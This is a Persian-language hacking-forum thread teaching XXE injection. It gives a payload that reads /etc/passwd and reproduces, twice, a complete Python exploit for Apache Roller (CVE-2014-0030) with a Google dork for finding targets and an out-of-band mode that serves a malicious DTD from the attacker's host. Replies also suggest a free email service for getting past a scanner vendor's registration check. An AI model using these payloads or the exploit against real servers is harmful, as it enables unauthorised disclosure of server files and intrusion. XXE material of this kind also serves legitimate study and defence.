discord icon
سرور دیسکورد گاردایران

پست های پیشنهاد شده

با سلام خدمت دوستان عزیز با اموزش اسیب پذیری XXE یا XML External Entity در خدمت شما هستیم .

 

توضیجات اولیه :‌

با استفاده از این اسیب پذیری شما قادر به دسترسی به فایل های سمت سرور و سیستمی دارید این اسیب پذیری سمت سرور است و زمانی رخ میده که 

ارسال ورودی xml انجام شده باشه و بر ورودی ها نظارت نباشه و خوب کانفیگ نکرده باشن ، از مزایای دیگر اسیب پذیری میتوان به استخراج اطلاعات حساس 

اسکن پورت های باز و جعل درخواست سمت سرور رو انجام داد ، ضعفی که باعث می شود این آسیب پذیری به وجود آید سمت سرور است که با دستورات XML Parser

انجام میشود و اگردرخوست های ورودی توسط کلاینت به سرور رو خوب کنترل نکرده باشند باعث میشه که نفوذگر  با استفاده از دستورات XML Parser اقدام به حمله کند .

 

آشنایی با XML Parser : 

XML Parser یک آبجکتی است که اکثر مرورگر ها اونو ساپورت می کنند می توانید داکیومنت ها و اطلاعات را نیز استخراج کند و همچنین اقدام به خواندن تگ های XML  کنید .

 

XPath Injection : 

اسیب پذیری XXE Injection خیلی شباهت داره به اسیب پذیری  Xpath Injection که قبلا اموزشش رو در انجمن قرار دادم :‌

 

انواع حملات XXE : 

 Exploiting XXE to retrieve file 

در این حمله استخراج اطلاعات صورت میگیرد

 : Exploiting XXE to Perform SSRF attack

در این حمله امکان ترکیب اسیب پذیری SSRF هم وجود دارد .

:‌ Exploiting Blind XXE exfiltrate data out-of-band

این حمله زمانی صورت می گیره که داده های حساس در حال انتقال از میان سرور و کاربر هستند و
جایی که داده ها از سرور برنامه به سیستمی منتقل می شوند و هکر می تواند آن ها رو کنترل کند .

 

 

توی این جلسه قراره به حمله  Exploiting XXE to retrieve file  بپردازیم :

برای مثال شما یک فرم رو سابمیت میکنید یا هر چیز دیگه بعد با استفاده از ابزار Burp Suite

درخواست ها رو برسی میکنید و برای مثال این کد رو مشاهده میکنید :‌

<?xml version=”1.0 encoding=”UTF-8”?>

و در این تگ برخی از این پارامتر ها اومده :‌

<stockCheck><productld>2</productld><storeld>1</storeld></stockCheck>

حالا اگر بین این دو تگ این دستور xml رو قرار دهید و پارامتر ۲ را تغییر دهید فایل passwd رو فراخوانی میکنه :

<!DOCTYPE test[<!ENTITY xxe SYSTEM “file:///etc/passwd”>]>

کد اولیه (بدون هیچ تغییر ) :‌

<?xml version=”1.0 encoding=”UTF-8”?><stockCheck><productld>2</productld><storeld>1</storeld></stockCheck>

و تبدیلش میکنیم به این :‌

<?xml version=”1.0 encoding=”UTF-8”?>
<!DOCTYPE test[<!ENTITY xxe SYSTEM “file:///etc/passwd”>]>
<stockCheck><productld>&xxe;</productld><storeld>1</storeld></stockCheck>

و توی پاسخ میبینید که فایل passwd رو فراخوانی کرده ، در ضمن باید توی burp از قسمت repeater اقدام کنید .

 

ویدئو :

تئوری .

پروژه محور یک .

پروژه محور دو .

 

 

اکسپلویت :‌

# Exploit Title: Apache Roller 5.0.3 - XML External Entity Injection (File Disclosure)
# Google Dork: intext:"apache roller weblogger version {vulnerable_version_number}"
# Date: 2018-09-05
# Exploit Author: Marko Jokic
# Contact: http://twitter.com/_MarkoJokic
# Vendor Homepage: http://roller.apache.org/
# Software Link: http://archive.apache.org/dist/roller/
# Version: < 5.0.3
# Tested on: Linux Ubuntu 14.04.1
# CVE : CVE-2014-0030

# This exploit lets you read almost any file on a vulnerable server via XXE vulnerability.
# There are two types of payload this exploit is able to use, 'SIMPLE' & 'ADVANCED'.
# 'SIMPLE' payload will work in most cases and will be used by default, if
# server errors out, use 'ADVANCED' payload.
# 'ADVANCED' payload will start local web server and serve malicious XML which
# will be parsed by a target server.
# To successfully perform attack with 'ADVANCED' payload, make sure that port
# you listen on (--lport flag) is accessible out of the network.

#!/usr/bin/env python

import SimpleHTTPServer
import SocketServer
import argparse
import sys
import threading
from xml.etree import ElementTree
import urllib3

import requests

SIMPLE_PAYLOAD = """<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file://{}">]>
<methodCall>
   <methodName>&xxe;</methodName>
</methodCall>
"""

ADVANCED_PAYLOAD = """<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY % start "<![CDATA[">
<!ENTITY % xxe SYSTEM "file://{}">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "{}">
%dtd;
]>
<methodCall>
   <methodName>&all;</methodName>
</methodCall>
"""

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class MyHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.end_headers()
        self.wfile.write('<!ENTITY all "%start;%xxe;%end;">')

def check_exploit(host):
    response = requests.post(host + "/roller-services/xmlrpc", verify=False)
    if response.status_code == 200:
        return True
    return False

def exploit(host, payload):
    response = requests.post(host + "/roller-services/xmlrpc", data=payload, verify=False)
    xml_tree = ElementTree.fromstring(response.text)
    parsed_response = xml_tree.findall("fault/value/struct/member")[1][1].text
    print parsed_response

def start_web_server(port):
    handler = MyHandler
    httpd = SocketServer.TCPServer(('', port), handler, False)
    httpd.allow_reuse_address = True
    httpd.server_bind()
    httpd.server_activate()
    httpd.handle_request()
    httpd.shutdown()

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', metavar="URL", dest="url", required=True, help="Target URL")
    parser.add_argument('-f', metavar='FILE', dest="file", required=False, default="/etc/passwd", help="File to read from server")
    parser.add_argument('--lhost', required='--rport' in sys.argv, help="Your IP address for http web server")
    parser.add_argument('--lport', type=int, required='--rhost' in sys.argv, help="Port for web server to listen on")
    args = parser.parse_args()

    host = args.url
    full_file_path = args.file

    advanced = False
    lhost = args.lhost
    lport = args.lport

    if lport is not None and lport is not None:
        advanced = True

    check = check_exploit(host)

    if check:
        if advanced:
            th = threading.Thread(target=start_web_server, args=(lport,))
            th.daemon = True
            th.start()

            payload = ADVANCED_PAYLOAD.format(full_file_path, "http://{}:{}".format(lhost, lport))
        else:
            payload = SIMPLE_PAYLOAD.format(full_file_path)

        exploit(host, payload)
    else:
        print "[-] TARGET IS NOT VULNERABLE!"

main()
            

 

مقاله :

یک سری مقاله که میتونه خیلی مفید باشه .

Owasp : https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing 

Owasp : https://owasp.org/www-chapter-pune/XXE_Exploitation.pdf

 Doddsecurity : https://doddsecurity.com/312/xml-external-entity-injection-xxe-in-opencats-applicant-tracking-system

Medium : https://medium.com/@ghostlulzhacks/xml-external-entity-xxe-62bcd1555b7b

Exploit DB : https://www.exploit-db.com/docs/48583

 

======================================================================

 

 

لایک فراموش نشه ، موفق و پیروز باشید . 

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

دوست عزیز  @R2L3N سعی کنید در تاپیک های اموزشی اسپم ندید .

و اگر انتقاد یا پیشنهادی هست . وضعیت یا پیامی رو به شخص بفرستید مطمعنا باز خورد خواهید داشت .

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

خب دیگه اسپم نمیفرستم

فقط چیجوری میشه یک پست رو بست یا کاری کنیم که کسی نتونه پیام بده

یا اینکه چیجوری میشه پیام دیگران توی پستمون رو پاک کنیم

در 25 دقیقه قبل، mmj-sys گفته است :

دوست عزیز  @R2L3N سعی کنید در تاپیک های اموزشی اسپم ندید .

و اگر انتقاد یا پیشنهادی هست . وضعیت یا پیامی رو به شخص بفرستید مطمعنا باز خورد خواهید داشت .

ممنون

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر
در در 3 آذر 1399 در 04:22، MR.MSA گفته است :

با سلام خدمت دوستان عزیز با اموزش اسیب پذیری XXE یا XML External Entity در خدمت شما هستیم .

 

توضیجات اولیه :‌

با استفاده از این اسیب پذیری شما قادر به دسترسی به فایل های سمت سرور و سیستمی دارید این اسیب پذیری سمت سرور است و زمانی رخ میده که 

ارسال ورودی xml انجام شده باشه و بر ورودی ها نظارت نباشه و خوب کانفیگ نکرده باشن ، از مزایای دیگر اسیب پذیری میتوان به استخراج اطلاعات حساس 

اسکن پورت های باز و جعل درخواست سمت سرور رو انجام داد ، ضعفی که باعث می شود این آسیب پذیری به وجود آید سمت سرور است که با دستورات XML Parser

انجام میشود و اگردرخوست های ورودی توسط کلاینت به سرور رو خوب کنترل نکرده باشند باعث میشه که نفوذگر  با استفاده از دستورات XML Parser اقدام به حمله کند .

 

آشنایی با XML Parser : 

XML Parser یک آبجکتی است که اکثر مرورگر ها اونو ساپورت می کنند می توانید داکیومنت ها و اطلاعات را نیز استخراج کند و همچنین اقدام به خواندن تگ های XML  کنید .

 

XPath Injection : 

اسیب پذیری XXE Injection خیلی شباهت داره به اسیب پذیری  Xpath Injection که قبلا اموزشش رو در انجمن قرار دادم :‌

 

انواع حملات XXE : 

 Exploiting XXE to retrieve file 

در این حمله استخراج اطلاعات صورت میگیرد

 : Exploiting XXE to Perform SSRF attack

در این حمله امکان ترکیب اسیب پذیری SSRF هم وجود دارد .

:‌ Exploiting Blind XXE exfiltrate data out-of-band

این حمله زمانی صورت می گیره که داده های حساس در حال انتقال از میان سرور و کاربر هستند و
جایی که داده ها از سرور برنامه به سیستمی منتقل می شوند و هکر می تواند آن ها رو کنترل کند .

 

 

توی این جلسه قراره به حمله  Exploiting XXE to retrieve file  بپردازیم :

برای مثال شما یک فرم رو سابمیت میکنید یا هر چیز دیگه بعد با استفاده از ابزار Burp Suite

درخواست ها رو برسی میکنید و برای مثال این کد رو مشاهده میکنید :‌


<?xml version=”1.0 encoding=”UTF-8”?>

و در این تگ برخی از این پارامتر ها اومده :‌


<stockCheck><productld>2</productld><storeld>1</storeld></stockCheck>

حالا اگر بین این دو تگ این دستور xml رو قرار دهید و پارامتر ۲ را تغییر دهید فایل passwd رو فراخوانی میکنه :


<!DOCTYPE test[<!ENTITY xxe SYSTEM “file:///etc/passwd”>]>

کد اولیه (بدون هیچ تغییر ) :‌


<?xml version=”1.0 encoding=”UTF-8”?><stockCheck><productld>2</productld><storeld>1</storeld></stockCheck>

و تبدیلش میکنیم به این :‌


<?xml version=”1.0 encoding=”UTF-8”?>
<!DOCTYPE test[<!ENTITY xxe SYSTEM “file:///etc/passwd”>]>
<stockCheck><productld>&xxe;</productld><storeld>1</storeld></stockCheck>

و توی پاسخ میبینید که فایل passwd رو فراخوانی کرده ، در ضمن باید توی burp از قسمت repeater اقدام کنید .

 

ویدئو :

تئوری .

پروژه محور یک .

پروژه محور دو .

 

 

اکسپلویت :‌


# Exploit Title: Apache Roller 5.0.3 - XML External Entity Injection (File Disclosure)
# Google Dork: intext:"apache roller weblogger version {vulnerable_version_number}"
# Date: 2018-09-05
# Exploit Author: Marko Jokic
# Contact: http://twitter.com/_MarkoJokic
# Vendor Homepage: http://roller.apache.org/
# Software Link: http://archive.apache.org/dist/roller/
# Version: < 5.0.3
# Tested on: Linux Ubuntu 14.04.1
# CVE : CVE-2014-0030

# This exploit lets you read almost any file on a vulnerable server via XXE vulnerability.
# There are two types of payload this exploit is able to use, 'SIMPLE' & 'ADVANCED'.
# 'SIMPLE' payload will work in most cases and will be used by default, if
# server errors out, use 'ADVANCED' payload.
# 'ADVANCED' payload will start local web server and serve malicious XML which
# will be parsed by a target server.
# To successfully perform attack with 'ADVANCED' payload, make sure that port
# you listen on (--lport flag) is accessible out of the network.

#!/usr/bin/env python

import SimpleHTTPServer
import SocketServer
import argparse
import sys
import threading
from xml.etree import ElementTree
import urllib3

import requests

SIMPLE_PAYLOAD = """<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file://{}">]>
<methodCall>
   <methodName>&xxe;</methodName>
</methodCall>
"""

ADVANCED_PAYLOAD = """<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY % start "<![CDATA[">
<!ENTITY % xxe SYSTEM "file://{}">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "{}">
%dtd;
]>
<methodCall>
   <methodName>&all;</methodName>
</methodCall>
"""

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class MyHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.end_headers()
        self.wfile.write('<!ENTITY all "%start;%xxe;%end;">')

def check_exploit(host):
    response = requests.post(host + "/roller-services/xmlrpc", verify=False)
    if response.status_code == 200:
        return True
    return False

def exploit(host, payload):
    response = requests.post(host + "/roller-services/xmlrpc", data=payload, verify=False)
    xml_tree = ElementTree.fromstring(response.text)
    parsed_response = xml_tree.findall("fault/value/struct/member")[1][1].text
    print parsed_response

def start_web_server(port):
    handler = MyHandler
    httpd = SocketServer.TCPServer(('', port), handler, False)
    httpd.allow_reuse_address = True
    httpd.server_bind()
    httpd.server_activate()
    httpd.handle_request()
    httpd.shutdown()

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', metavar="URL", dest="url", required=True, help="Target URL")
    parser.add_argument('-f', metavar='FILE', dest="file", required=False, default="/etc/passwd", help="File to read from server")
    parser.add_argument('--lhost', required='--rport' in sys.argv, help="Your IP address for http web server")
    parser.add_argument('--lport', type=int, required='--rhost' in sys.argv, help="Port for web server to listen on")
    args = parser.parse_args()

    host = args.url
    full_file_path = args.file

    advanced = False
    lhost = args.lhost
    lport = args.lport

    if lport is not None and lport is not None:
        advanced = True

    check = check_exploit(host)

    if check:
        if advanced:
            th = threading.Thread(target=start_web_server, args=(lport,))
            th.daemon = True
            th.start()

            payload = ADVANCED_PAYLOAD.format(full_file_path, "http://{}:{}".format(lhost, lport))
        else:
            payload = SIMPLE_PAYLOAD.format(full_file_path)

        exploit(host, payload)
    else:
        print "[-] TARGET IS NOT VULNERABLE!"

main()
            

 

مقاله :

یک سری مقاله که میتونه خیلی مفید باشه .

Owasp : https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing 

Owasp : https://owasp.org/www-chapter-pune/XXE_Exploitation.pdf

 Doddsecurity : https://doddsecurity.com/312/xml-external-entity-injection-xxe-in-opencats-applicant-tracking-system

Medium : https://medium.com/@ghostlulzhacks/xml-external-entity-xxe-62bcd1555b7b

Exploit DB : https://www.exploit-db.com/docs/48583

 

======================================================================

 

 

لایک فراموش نشه ، موفق و پیروز باشید . 

ببخشید بهترین نرم افزار برای پیدا کردن آسیب پذیری وب چی هستش هم لینوکس دارم هم ویندوز هم اندروید

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

با سلام

دوست عزیز لطفا اسپم نکنید.

سوالاتتون رو باید در بخش "سوال و جواب ها" بپرسید. 

چون هیچ ارتباطی به موضوع ما نداره!

 

پاسخ سوالات:‌

 

در 2 ساعت قبل، R2L3N گفته است :

میشه بدونم چرا فارسی رو قرار ندادین

شما نباید خودتون رو به مطالب فارسی وابسته کنید و بنده موارد انگلیسی رو علاقه داشتم و صلاح دیدم. شما اگر پیشنهادی

دارید پی وی بفرستید تا در تاپیک قرار بدم.

 

 

در ۱ ساعت قبل، R2L3N گفته است :

ببخشید بهترین نرم افزار برای پیدا کردن آسیب پذیری وب چی هستش هم لینوکس دارم هم ویندوز هم اندروید

نمیشه گفت کدوم بهترینه ولی از نظر بنده Burp Suite از همشون قدرتمندتره اما هر کدوم خوبی هایی رو داره

zap رابط کاربری ساده ای داره و راحت میشه باهاش کار کرد و برای تازه کار ها بهتره ولی Burp رو باید بلد تا بتونید باهاش کار کنید.

ولی از نظر بنده میتونید برای شروع از Acunetix استفاده کنید اسکنر بسیار قدرتمنی هست و از zap بهتره.

اسکنر های زیادی داریم ولی من اینا رو معرفی میکنم!

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر
در 1 ساعت قبل، MR.MSA گفته است :

با سلام

دوست عزیز لطفا اسپم نکنید.

سوالاتتون رو باید در بخش "سوال و جواب ها" بپرسید. 

چون هیچ ارتباطی به موضوع ما نداره!

 

پاسخ سوالات:‌

 

شما نباید خودتون رو به مطالب فارسی وابسته کنید و بنده موارد انگلیسی رو علاقه داشتم و صلاح دیدم. شما اگر پیشنهادی

دارید پی وی بفرستید تا در تاپیک قرار بدم.

 

 

نمیشه گفت کدوم بهترینه ولی از نظر بنده Burp Suite از همشون قدرتمندتره اما هر کدوم خوبی هایی رو داره

zap رابط کاربری ساده ای داره و راحت میشه باهاش کار کرد و برای تازه کار ها بهتره ولی Burp رو باید بلد تا بتونید باهاش کار کنید.

ولی از نظر بنده میتونید برای شروع از Acunetix استفاده کنید اسکنر بسیار قدرتمنی هست و از zap بهتره.

اسکنر های زیادی داریم ولی من اینا رو معرفی میکنم!

من نمیتونم توی Acunetix ثبت نام کنم

از من ایمیل سازمانی میخواد

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر
در 1 ساعت قبل، R2L3N گفته است :

من نمیتونم توی Acunetix ثبت نام کنم

از من ایمیل سازمانی میخواد

سلام

می تونید از وب سایت زیر یک ایمیل بگیرید و از آن استفاده کنید.

https://cock.li/

 

spacer.png

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

برای ارسال دیدگاه یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید دیدگاهی ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در سایت ما ثبت نام کنید. عضویت خیلی ساده است !

ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید

ورود به حساب کاربری